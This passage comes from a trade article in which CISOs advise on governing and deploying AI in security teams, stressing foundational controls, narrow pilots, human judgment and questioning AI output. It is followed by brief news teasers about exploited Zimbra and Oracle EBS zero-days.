are pushing security teams to quickly build out new capabilities so they can say they have AI embedded in their products. Security and IT are “kind of the transportation team to lay the roads and guardrails so things don’t spin out of control,” she says. “We’re working at breakneck speed in some areas and the reality is, we don’t know exactly what the threats are. So, we’re trying to make sure that we’ve got the strongest rules in place.” Jill Knesek, CISO, BlackLine BlackLine Echoing Oleksak, Knesek says she feels strongly about utilizing traditional security and having the right controls in place. Getting foundational security right will get you a long way, she says. ‘Then, as you learn about more sophisticated attacks … we’ll have to pivot our tooling and capabilities to those risks.” For now, “the most important thing for us is just to stay aligned with where the business is driving us very quickly [and] make sure today [security] is doing what it needs to do from a foundational standpoint,” she says. Questioning the output As organizations rethink their approach to security, Oleksak advises CISOs to not get “dazzled by the hype,” and remember that AI is not a strategy but a tool. “Treat it like any other technology investment,” he says. “Start with your risk priorities, then decide where AI can realistically help.” That means remembering AI magnifies strengths and weaknesses. “If your asset inventory is incomplete, if your IAM controls are loose, or if your patching cadence is poor, AI will not fix those problems; it will accelerate the mess,” Oleksak says. It’s also important to take a cautious approach to deployment. He advises piloting AI tools in narrow use cases, such as for alert triage, log analysis, and phishing detection, and measuring outcomes. “Focus on augmenting human judgment, not replacing it,” he says. Security teams will also build trust through transparency. “Train your teams to question AI output and educate your executives and employees on both the benefits and risks,” Oleksak says. “The CISO’s job is not just to deploy AI tools, but to ensure the organization understands how they fit into the bigger security picture.” Building coalitions AI should be used where it helps reduce risk, improve speed, or strengthen resilience, says DeFiore. “Build partnerships early, especially with legal, data, and operations teams,” she says. “Invest in education across the organization and stay grounded in ethics. AI decisions have real-world consequences, so organizations should use AI with care and consider potential accountability implications related to how it’s used.” While AI is a powerful tool, DeFiore says it’s people who make it meaningful. “At United, safety is our foundation. AI helps us deliver on that promise with more precision and agility, but it’s the human judgment behind it that drives trust, impact and long-term value,” she says. AI is not something to be feared, but its singular impact on security must be respected, says Oleksak. Lander emphasizes the need to recognize that AI isn’t just a new tool but also “a new domain that requires careful governance, thoughtful integration, strategic thinking, and continuous learning. By embedding security from day one, engaging cross-functional stakeholders, anticipating unique AI risks, and investing in people and adaptive frameworks, CISOs can guide their organizations to responsibly and confidently harness AI’s potential.” He recommends that CISOs should plan and prepare for the AI era by building coalitions, ensuring AI is not managed as a silo, but as a shared responsibility. “The next few years will require an open mind and a view that AI is like a new member of the team who makes everyone better,” Lander says. “The CISO of the future is not just securing systems, they’re securing AI-enabled business success.”
Zimbra Zero-Day Exploited to Target Brazilian Military via Malicious ICS Files

thehackernews.com · 10 months ago

A now patched security vulnerability in Zimbra Collaboration was exploited as a zero-day earlier this year in cyber attacks targeting the Brazilian military. Tracked as CVE-2025-27915 (CVSS score: 5.4), the vulnerability is a stored cross-site scripting (XSS) vulnerability in the Classic Web Client that arises as a result of insufficient sanitization of HTML content in ICS calendar files
Oracle patches EBS zero-day exploited in Clop data theft attacks

www.bleepingcomputer.com · 10 months ago

Oracle is warning about a critical E-Business Suite zero-day vulnerability tracked as CVE-2025-61882 that allows attackers to perform unauthenticated remote code execution, with the flaw actively exploited in Clop data theft attacks.
Hackers exploited Zimbra flaw as zero-day using iCalendar files

www.bleepingcomputer.com · 10 months ago

Researchers monitoring for larger.ICS calendar attachments found that a flaw in Zimbra Collaboration Suite (ZCS) was used in zero-day attacks at the beginning of the year.